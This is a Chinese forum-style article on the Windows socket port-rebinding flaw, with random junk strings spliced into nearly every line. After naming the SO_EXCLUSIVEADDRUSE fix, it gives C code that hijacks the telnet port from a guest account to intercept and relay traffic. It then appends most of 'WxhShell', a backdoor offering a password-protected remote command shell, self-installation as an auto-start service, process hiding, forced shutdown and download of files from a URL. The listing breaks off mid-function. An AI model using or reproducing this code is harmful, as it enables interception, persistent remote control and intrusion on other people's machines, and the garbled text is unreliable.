在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
AnZy
oa s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
o##!S6:A 0/%RrE saddr.sin_family = AF_INET;
"N}MhcdS ^0(D2:E saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Z`%^?My ;vk>k0S bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
AmCymT3P*e <0Gk:NB, 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
oXVx9dZ iUqD>OV 这意味着什么?意味着可以进行如下的攻击:
,,S 2>X*L PbV1FB_ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
dn_l#$ U #B_H/9f( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
;1r|Bx <5 p<FqK/ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
$g,v]MW yi -0CHo 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
1k$5'^]^9] {817Svp@ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
.`&k` 'Awd:Aed5 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
TeJ=QpGW2 =66'33l2 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
"5\6`\/ }+)q/]% #include
8>I4e5Ym #include
q1rD>n&d #include
_.m|Ml,`{ #include
x-q_sZ^8 DWORD WINAPI ClientThread(LPVOID lpParam);
'PTQ
S,E int main()
pqohLA {
fK^;?4 WORD wVersionRequested;
=W gzj|Kr DWORD ret;
b
|ijkys WSADATA wsaData;
`j 4> BOOL val;
TFXKC l SOCKADDR_IN saddr;
PM)nw;nS SOCKADDR_IN scaddr;
+'[/eW int err;
n<A<Xj08T9 SOCKET s;
.kfx\,lgm SOCKET sc;
y7Hoy.( int caddsize;
u!FF{~5cs HANDLE mt;
GgtYO4, DWORD tid;
n3\~H9 wVersionRequested = MAKEWORD( 2, 2 );
i
G%R'/* err = WSAStartup( wVersionRequested, &wsaData );
UhU"[^YO if ( err != 0 ) {
EO/41O printf("error!WSAStartup failed!\n");
fBBtS S return -1;
Z dT- }
NjO_Y t saddr.sin_family = AF_INET;
9LSV^[QUH Z~;rp`P //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
dleCh+ny? >H,E3Z saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
}>b@=5O saddr.sin_port = htons(23);
=tGRy@QV'\ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5>VX]nE3! {
q7I(x_y / printf("error!socket failed!\n");
okO\A^F return -1;
;Qq7@(2y }
\GZ|fmYn val = TRUE;
KC8 //SO_REUSEADDR选项就是可以实现端口重绑定的
VU+=b+B~m if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
m;ju@5X {
-U|Z9sia printf("error!setsockopt failed!\n");
uF[~YJ> return -1;
#@E:|^$1y }
60WlC0Y~u //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
#wsi><7 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
\:2z!\iP` //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
y=AF
EP 9!ARr@ ; if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
!iK{q0 {
z]2lT
IWg ret=GetLastError();
1yFIIj:^| printf("error!bind failed!\n");
/bL L!nD=^ return -1;
*aGJ$ P0 }
h+j*vX/! listen(s,2);
28 zZ3|Z3 while(1)
uXb}oUC {
#oN}DP caddsize = sizeof(scaddr);
9ZuKED //接受连接请求
3r[s_Y* sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
/L./-92NH4 if(sc!=INVALID_SOCKET)
^UFNds'q {
F6"s&3D{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Oc5f8uv if(mt==NULL)
B[t>T>~ {
;jBS:k? printf("Thread Creat Failed!\n");
(i1p6 break;
imB/P M }
DQ c pIV }
ant2];0p CloseHandle(mt);
hDc2T }
'lOQb) closesocket(s);
cg9*+]rc WSACleanup();
qq@]xdl return 0;
-z%->OUu }
!>/J]/4> DWORD WINAPI ClientThread(LPVOID lpParam)
ja(ZJ[<` {
Y=y
0`?K SOCKET ss = (SOCKET)lpParam;
,bP8"|e SOCKET sc;
XV,ce~ro[ unsigned char buf[4096];
q d:"LS SOCKADDR_IN saddr;
*^CN2tm long num;
B9H.8+~( DWORD val;
8<@X=Z DWORD ret;
?a'EkZ.dB //如果是隐藏端口应用的话,可以在此处加一些判断
$x#qv1 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
OF:0jOW
saddr.sin_family = AF_INET;
p\Iy)Y2Lf! saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Nnoj6+b saddr.sin_port = htons(23);
_xnJfW_ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
E )2/Vn2 {
{\|XuCF# printf("error!socket failed!\n");
6rO^ p return -1;
Pon0(:#1 }
:^FH.6}x val = 100;
^==Tv+T9U if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
!)05,6WQ {
rd"!&i ret = GetLastError();
LvU/,.$ return -1;
ce719n$
}
ch0cFF^] if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
xn)F(P 0kv {
4w]<1V ret = GetLastError();
k?/! ` return -1;
=FdFLrx~l }
/q/^B>] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
]/AU_& {
9Vt6);cA-] printf("error!socket connect failed!\n");
:`0,f ?cE closesocket(sc);
n7zM;@{7 closesocket(ss);
)QmmI[,tq return -1;
Yk*_u}?# }
ISTAJ8"
D while(1)
4`7~~:W!M5 {
n"Jj'8k //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
!"aGo1$$ //如果是嗅探内容的话,可以再此处进行内容分析和记录
YfNN&G4_ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
cBHUa}: num = recv(ss,buf,4096,0);
n*G!=lMji if(num>0)
c)q=il7ef send(sc,buf,num,0);
D>`{f4Y else if(num==0)
W&m3"~BJ break;
vi[~Qt num = recv(sc,buf,4096,0);
;#*.@Or@Ah if(num>0)
R/6
v#9m7 send(ss,buf,num,0);
d[E= HN else if(num==0)
R/2L9Lcv break;
[G[{?{ }
'uwq^b_ closesocket(ss);
|@?='E?h closesocket(sc);
TQvjU!> return 0 ;
DYew6B- }
rAgp cp} ?pA_/wwp DvA#zX[ ==========================================================
3;!a'[W&p z,VXH ?.Zo 下边附上一个代码,,WXhSHELL
Yt r*"- % 5BSXAc ==========================================================
[yRqSB dp3TJZ+U #include "stdafx.h"
!
e?=g%( l
5f'R #include <stdio.h>
dE(d'*+a #include <string.h>
q@4Cw&AI+ #include <windows.h>
g](&H$g #include <winsock2.h>
viVn #include <winsvc.h>
h@s i)5"
#include <urlmon.h>
XW{cC`&
ux[13]yY #pragma comment (lib, "Ws2_32.lib")
\;"S>dg #pragma comment (lib, "urlmon.lib")
Y2+YmP*z` 6$fwpW #define MAX_USER 100 // 最大客户端连接数
~Oi.bP<, #define BUF_SOCK 200 // sock buffer
$% W.=a'5 #define KEY_BUFF 255 // 输入 buffer
rhN"#? yT(86#st #define REBOOT 0 // 重启
J/[PA[Rf #define SHUTDOWN 1 // 关机
`Cu9y+t ldG$hk' #define DEF_PORT 5000 // 监听端口
X0KUnxw ;47 =x1ji #define REG_LEN 16 // 注册表键长度
Qb:.WMj[q+ #define SVC_LEN 80 // NT服务名长度
wJ7Fnj>u% *`tQX$F // 从dll定义API
4_4|2L3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
[bN_0T.YI typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
<-Ax)zE typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
L-e6^%eU typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
W'Qy4bl7C b+71`aD0 // wxhshell配置信息
n$"BF\eM struct WSCFG {
WVL\|y728s int ws_port; // 监听端口
j9=)^? char ws_passstr[REG_LEN]; // 口令
5WtI.7r int ws_autoins; // 安装标记, 1=yes 0=no
EFs\zWF char ws_regname[REG_LEN]; // 注册表键名
QmsS,Zljo char ws_svcname[REG_LEN]; // 服务名
|:d_IB@ char ws_svcdisp[SVC_LEN]; // 服务显示名
xf{=~j/L char ws_svcdesc[SVC_LEN]; // 服务描述信息
,9.NMFn char ws_passmsg[SVC_LEN]; // 密码输入提示信息
"l6Ob int ws_downexe; // 下载执行标记, 1=yes 0=no
BagV\\#v4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
"K*^%{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
[wUJ~~2# 4WQ
96|F };
CWnRRZ}r x}N1Wl=8g // default Wxhshell configuration
c5{3 struct WSCFG wscfg={DEF_PORT,
U[!wu]HMF "xuhuanlingzhe",
8noo^QO 1,
(DTkK5/% "Wxhshell",
6Kd,(DI "Wxhshell",
46c0;E\9 "WxhShell Service",
[xPO'@Y "Wrsky Windows CmdShell Service",
ATI2 "Please Input Your Password: ",
X""}]@B9z 1,
a3BlydSlf "
http://www.wrsky.com/wxhshell.exe",
0"`|f0}c "Wxhshell.exe"
<U""CAE };
m pM,&7} T'VKZ5W // 消息定义模块
97VS
xhr char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
5U/C
0{6 char *msg_ws_prompt="\n\r? for help\n\r#>";
"ODs.m oq char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
yrR,7vJ char *msg_ws_ext="\n\rExit.";
/I q6'oo char *msg_ws_end="\n\rQuit.";
P Z+Rz1x char *msg_ws_boot="\n\rReboot...";
/k^O1+]H char *msg_ws_poff="\n\rShutdown...";
{`[u XH?3d char *msg_ws_down="\n\rSave to ";
&$_#{?dPt h)yAge char *msg_ws_err="\n\rErr!";
1${Cwb/F char *msg_ws_ok="\n\rOK!";
XFvPc J<7nOB}OD char ExeFile[MAX_PATH];
@*~cmf&FIQ int nUser = 0;
$:0?"?o); HANDLE handles[MAX_USER];
gz"I=9 int OsIsNt;
|", / 62J-)~_ SERVICE_STATUS serviceStatus;
a(eUdGJ SERVICE_STATUS_HANDLE hServiceStatusHandle;
ITEd[
@^d wqf^n-Ze // 函数声明
e/ V8lo int Install(void);
/ 9soUt int Uninstall(void);
~,P." int DownloadFile(char *sURL, SOCKET wsh);
`n~bDG> int Boot(int flag);
E.OL_ \ void HideProc(void);
YW)&IA2 int GetOsVer(void);
_#6ekl|% int Wxhshell(SOCKET wsl);
h8tKYm void TalkWithClient(void *cs);
]abox%U=% int CmdShell(SOCKET sock);
POc-`]6<F int StartFromService(void);
{afR?3GK int StartWxhshell(LPSTR lpCmdLine);
0p'=Vel{} NhA_dskvo VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
1t7S:IZ VOID WINAPI NTServiceHandler( DWORD fdwControl );
^H
UNq[sQ xk8P4`;d$ // 数据结构和表定义
R} aHo0r SERVICE_TABLE_ENTRY DispatchTable[] =
`O|PP3S {
RzLbPSTQ {wscfg.ws_svcname, NTServiceMain},
~T<o?98 {NULL, NULL}
`l8^n0- };
F;^GhiQVS H{3A6fb< // 自我安装
GT} =(sD L int Install(void)
@9<MW {
Y!|*`FII char svExeFile[MAX_PATH];
hZ@Wl6FG; HKEY key;
o Z#4<7K strcpy(svExeFile,ExeFile);
?1u2P$d I`e|[k2 // 如果是win9x系统,修改注册表设为自启动
Ju"*>66 if(!OsIsNt) {
%}asw/WiUa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+TnRuehtk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]Kb3'je RegCloseKey(key);
?`%)3gx| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RvT>{G~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
A12 #v, RegCloseKey(key);
LMmW3W`
return 0;
#{8n<sE }
`kdP)lI
` }
,U#$Qb 12 }
hw [G else {
iCYo?> D20n'>ddg // 如果是NT以上系统,安装为系统服务
Wl:vO^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Z?^~f}+ if (schSCManager!=0)
_ ecKX</Q {
nRmZu\(Ow| SC_HANDLE schService = CreateService
dfBTx6/F (
x\m !3 schSCManager,
g6kVHxh- wscfg.ws_svcname,
\*0ow`|K wscfg.ws_svcdisp,
d?)C} 2 SERVICE_ALL_ACCESS,
mG!Rh SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
OJUH".o SERVICE_AUTO_START,
H *gF>1 SERVICE_ERROR_NORMAL,
m%- svExeFile,
0N~AQu NULL,
]$'w8<D>t, NULL,
Ub8|x]ix NULL,
i-'rS/R NULL,
-$#' NULL
Wv]NFHe# );
m
4VhR_ if (schService!=0)
'{:WxGgi {
xA-O?s"CY CloseServiceHandle(schService);
i6p0(OS&D CloseServiceHandle(schSCManager);
> !thxG/_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
j"aimjqd3 strcat(svExeFile,wscfg.ws_svcname);
\h DH81L if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
G(-1"7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
0i2ZgOJ RegCloseKey(key);
}kaU0 P return 0;
#TLqo(/ }
8kz7*AO
}
H=OKm CloseServiceHandle(schSCManager);
G!J{$0. }
<6=kwV6 }
t'bzhPQO)f `k} return 1;
T&Y?IE} }
DS,"^K ]g
jhrD // 自我卸载
lS.*/u*5 int Uninstall(void)
$okGqu8z.O {
&<Bx1\ ~V HKEY key;
8v7;{4^ w\U
fq if(!OsIsNt) {
Tti]H9g_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
xyK_1n@b RegDeleteValue(key,wscfg.ws_regname);
$*ujX,}xG RegCloseKey(key);
D}1Z TX_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
K8{U b RegDeleteValue(key,wscfg.ws_regname);
V45\.V RegCloseKey(key);
>y%*HC!G return 0;
kK]JN }
DGMvYNKTj }
Fa`/i v }
+~Ni7Dp] else {
lLy^@s {umdW
x.* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
zfDxc3e
if (schSCManager!=0)
yjUSM}$ {
+;7Rz_.6f SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Fv \yhR if (schService!=0)
H-GlCVq~ {
irSdqa/ if(DeleteService(schService)!=0) {
9/[3xhB4 CloseServiceHandle(schService);
Vk/CV2 CloseServiceHandle(schSCManager);
gbOd(ugH return 0;
[ay~l%x }
dALJlRo" CloseServiceHandle(schService);
"V!y"yQ }
SV;S`\i CloseServiceHandle(schSCManager);
q.6$-w }
\;
Io }
KD9Y :*V1jp+ return 1;
/an$4?":~ }
; ]GSVv: tmF->~| // 从指定url下载文件
juPW!u int DownloadFile(char *sURL, SOCKET wsh)
d&n&_> {
o*7`r ~ HRESULT hr;
)En*5-1 char seps[]= "/";
^sxcBG char *token;
z-*/jFE char *file;
`N%q^f~ char myURL[MAX_PATH];
SXn\k;F< char myFILE[MAX_PATH];
AyZL( N:Yjz^Jt strcpy(myURL,sURL);
mF\r]ovVm token=strtok(myURL,seps);
8 ;oU{ while(token!=NULL)
3*9<JHu {
.du FMJl file=token;
o@6:|X)7 token=strtok(NULL,seps);
/ $7E }
jRP.Je@t y'ULhDgq^B GetCurrentDirectory(MAX_PATH,myFILE);
[UN`~ strcat(myFILE, "\\");
.c~`{j} strcat(myFILE, file);
qOO2@c send(wsh,myFILE,strlen(myFILE),0);
;E0Xn-o_ send(wsh,"...",3,0);
<4Z;a2l}U hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
NMYkEz(&R if(hr==S_OK)
"|&xUWJ!) return 0;
uXPvl5(Y? else
4$D:<8B return 1;
^i}*$ZC72 yM(zc/? }
`4E6&&E+S V$O{s~@ti // 系统电源模块
Tdvw7I-q int Boot(int flag)
L=zt\L {
v^_OX$=, HANDLE hToken;
-z%|
Jk TOKEN_PRIVILEGES tkp;
NQCJ '%L6 `* !t<?$i if(OsIsNt) {
S7SD$+fX OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
FL-yt LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Bd8,~8 tkp.PrivilegeCount = 1;
Y/Yp+W6n tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
HS!O;7s' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
W~sP7&sp if(flag==REBOOT) {
GY9CU=- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
S0+nQM% return 0;
Qx,jUL#2 }
*3_@#Uu7 else {
J{Fu 8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
=lIG#{`Q return 0;
'{9nQDgT }
)L}6to }
]AjDe] else {
(dl7+ if(flag==REBOOT) {
J)R;NYl if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
5x";}Vp>P return 0;
R<>ptwy }
AN;SRl else {
9Yg=4>#$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
bnS"@^M return 0;
Z/nTI0N{ }
NEInro< }
Lw EI P9j[
NEV return 1;
\%fl`+` }
=<nx[J ^(5Up=.EA // win9x进程隐藏模块
Kts#e:k@ void HideProc(void)
Y_qRW. k {
fhCMbq4T 8sm8L\- HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
u_+64c_7 if ( hKernel != NULL )
/ekeU+j {
1an?/j, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
. e' vc ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
,1-n=eTQ FreeLibrary(hKernel);
o /uA_19 }
|L
XYF$ M~ =Bln5 return;
q$>/~aVM }
9|19ia@[\ !KiN} p // 获取操作系统版本
_=ani9E]uF int GetOsVer(void)
S%ULGX:@ga {
[UqJ3@> OSVERSIONINFO winfo;
NYS|fa winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
q cYF& GetVersionEx(&winfo);
N 2|?I(\B if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
WW5AD$P* return 1;
3N8RZt1.b else
".Lwq_ return 0;
P GTi-o} }
#:E}Eby/6I \4;}S&` k // 客户端句柄模块
fJ
\bm int Wxhshell(SOCKET wsl)
9b
K K {
&DnX6%2 SOCKET wsh;
Kh{C$b struct sockaddr_in client;
v6r,2Va/ DWORD myID;
BEn,py7 D[d+lq#p while(nUser<MAX_USER)
,^]yU?eU {
fQZ,kl int nSize=sizeof(client);
(of=hzT^? wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
3LT[?C]H$ if(wsh==INVALID_SOCKET) return 1;
FdT@} P.G`ED|K!Y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
/%W&zd=%# if(handles[nUser]==0)
CxyL'k closesocket(wsh);
NkWU5E!
else
R*m=V{iu` nUser++;
ZHQa}C+ }
ZbS*zKEW WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
,MH9e! @.JhL[f return 0;
wWaO"N] }
dEz7 @T )`u)#@x // 关闭 socket
7m{YWR0 void CloseIt(SOCKET wsh)
B]):$#{Rxl {
r!DUsE closesocket(wsh);
@qC](5|TQ nUser--;
*{}Y
: ExitThread(0);
{yPJYF_l }
V\C$/8v Ni"M.O);t // 客户端请求句柄
u$A*Vsmr void TalkWithClient(void *cs)
4dfR}C {
Xbm\"g \ n2<#]2h SOCKET wsh=(SOCKET)cs;
<F~0D0G char pwd[SVC_LEN];
C7|zDJ_ char cmd[KEY_BUFF];
-kFPmM; char chr[1];
qXI>x6?* int i,j;
#x)lN /wF*@ /PTH while (nUser < MAX_USER) {
5e> <i (]wd8M if(wscfg.ws_passstr) {
a@>P?N~LA9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
P, (#'
W //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]yvHb)X //ZeroMemory(pwd,KEY_BUFF);
Fo$kD( i=0;
d&z^u.SY while(i<SVC_LEN) {
h[%t7qo= .{pc5eUf // 设置超时
t%xD epFQ fd_set FdRead;
w_O3]; struct timeval TimeOut;
OPYl#3I FD_ZERO(&FdRead);
_A[k&nO!&J FD_SET(wsh,&FdRead);
U64WTS@ TimeOut.tv_sec=8;
X>0$zE@0 TimeOut.tv_usec=0;
UK{6Rh ; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
`pB]_"b if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
WyO7,Qr\ .BaU}-5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
{6V;$KqH6 pwd
=chr[0]; Xup"gYTZQ
if(chr[0]==0xd || chr[0]==0xa) { -d|Q|zF^x
pwd=0; >4c7r~\k
break; tEj-c@`"x-
} =.*+c\
i++; C`p)S`d
} @raw8w\Zj+
2s+ITPr
// 如果是非法用户,关闭 socket 9>@@W#TK~
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N-lo[bDJh
} dZMOgZ.!yr
I UMt^z
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &p."`
C
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?1DA
l6YToYzE2
while(1) { *5kQ6#l
VE
<p,IO
ZeroMemory(cmd,KEY_BUFF); 7W{xK'|]
~+JEl%
// 自动支持客户端 telnet标准 Lc0U-!{G
j=0; Awip qDAu
while(j<KEY_BUFF) { S:\a&+og
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]VYv>o`2
cmd[j]=chr[0]; F5*NK!U
if(chr[0]==0xa || chr[0]==0xd) { FuA8vTV{
cmd[j]=0; SO~]aFoYt
break; \`nRgYSE
} yMJY6$Ct
j++; APfDy
} -{ae
w6B'&
// 下载文件 0:,8Ce
if(strstr(cmd,"http://")) { POnI&y]
send(wsh,msg_ws_down,strlen(msg_ws_down),0); P
57{
if(DownloadFile(cmd,wsh)) Bi!j re
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `]+-z+
else gwf*M3(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZPM,ZGlu:
} 0+i\j`O&
else { SP&Y|I$:
X_j=u1*5
switch(cmd[0]) { X5(S+;v"^
#Cwzk{p(
// 帮助 Eyv|~D
case '?': { Ab"mX0n
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /c`s$h4-
break; m((A
} MzF9 &{N
// 安装 z_Nw%V4kr
case 'i': { f;Iaf#V_
if(Install()) q,<AW>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ws+Zmpk%
else *zf@J'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AADvk_R
break; E^RPK{zO
} NXwlRMbo
// 卸载 ,P?R
3
case 'r': { {29x5J
if(Uninstall()) jq4'=L$4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #4WA2EW
else efK)6T^p
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *kI1NchF
break; F$Cf\#{3
} jslfq@5v
// 显示 wxhshell 所在路径 ^'g1? F$_
case 'p': { ?~mw
char svExeFile[MAX_PATH]; U 0$?:C+?
strcpy(svExeFile,"\n\r"); ZQd\!K8y^Q
strcat(svExeFile,ExeFile); jh3LD6|s}
send(wsh,svExeFile,strlen(svExeFile),0); rC(-dJkV
break; a"!D @a
} hb6UyN
// 重启 WsA(8Ck<
case 'b': { C$Y pk\p
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VW7
?{EL7
if(Boot(REBOOT)) c'9-SY1'~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1I#S?RSb
else { kUl:Yj=&
closesocket(wsh); B:YUb{CJ
ExitThread(0); o'W[v0>
L-
} `.0QY<;
break; t^|+|>S
} }tH$/-qnJE
// 关机 =Vgj=19X(
case 'd': { DhQYjC[
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [6bK>w"v
if(Boot(SHUTDOWN)) "}"Bvp^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7p}.r
J54
else { &ZjQa.-U>
closesocket(wsh); mkfU
fG&
ExitThread(0); %8?s3^o
} EM_`` 0^
break; py,B6UB5
} }&Eb {'
// 获取shell t~xp&LQiY
case 's': { _084GK9{W
CmdShell(wsh); =6mnXpM.
closesocket(wsh); XO)|l8t#$=
ExitThread(0); `Gl@?9,i
break; k1A64?p
} FFT h}>>
// 退出 @v1f)(N
case 'x': { C~4$A/&(
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #+2|ZfCn%
CloseIt(wsh); =O
qw`jw
break; wv 7jES
} WcyN,5
// 离开 c}nXMA^^
case 'q': { Ns6Vf5T.
send(wsh,msg_ws_end,strlen(msg_ws_end),0); .Dw^'p>
closesocket(wsh); *D: wwJ
WSACleanup();
e]\{ Ia
exit(1); zwAkXj
break; c
k=
} 3P1OyB
} \R>!HY
} iJg3`1@j
8oI)q4V
// 提示信息 ,+0>p
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,!"\L~6
} $]/a/!d
} ?]S!-6:
kLKd
O0
return; W
s!N%%g
} /J8'mCuC.
lx<]v^
// shell模块句柄 ;!(.hCHvr
int CmdShell(SOCKET sock) *$nz<?
{ t:m2[U_}
STARTUPINFO si; ;Ry
)^5Q
ZeroMemory(&si,sizeof(si)); z5CZ!"&v
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q9j9"M'
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F=C8U$'S
PROCESS_INFORMATION ProcessInfo; n<;TBK
char cmdline[]="cmd"; =N-,.{`
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pIh%5ZU
return 0; Aj06"ep
} %(`4wo},
%2=nS<kC
// 自身启动模式 ?@
ei_<A{
int StartFromService(void) :%Dw3IrOM
{ h<oQ9zW)
typedef struct ^F<[5e)M
{ N{@kgc
DWORD ExitStatus; s}Q%]W
DWORD PebBaseAddress; 'vO+,-
DWORD AffinityMask; F{cKCqI?
DWORD BasePriority; "1rZwFI0l
ULONG UniqueProcessId; 3Q^@!hu
